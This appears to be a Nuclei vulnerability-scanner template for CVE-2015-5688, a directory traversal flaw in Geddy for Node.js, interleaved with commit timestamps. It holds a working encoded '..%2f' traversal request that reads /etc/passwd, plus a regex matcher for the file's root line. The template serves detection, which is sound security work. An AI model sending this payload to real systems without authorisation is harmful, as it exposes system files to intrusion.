2021-02-25 02:34:40 +00:00
id : CVE-2015-5688
info :
name : Geddy before v13.0.8 LFI
author : pikpikcu
severity : high
2021-03-11 17:03:21 +00:00
description : Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.
2021-08-19 13:17:27 +00:00
reference :
- https://nodesecurity.io/advisories/geddy-directory-traversal
- https://github.com/geddy/geddy/issues/697
2021-02-25 02:35:55 +00:00
tags : cve,cve2015,geddy,lfi
2021-02-25 02:34:40 +00:00
requests :
- method : GET
path :
2021-02-25 08:36:06 +00:00
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
2021-02-25 02:34:40 +00:00
matchers-condition : and
matchers :
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-02-25 02:34:40 +00:00
part : body
- type : status
status :
- 200
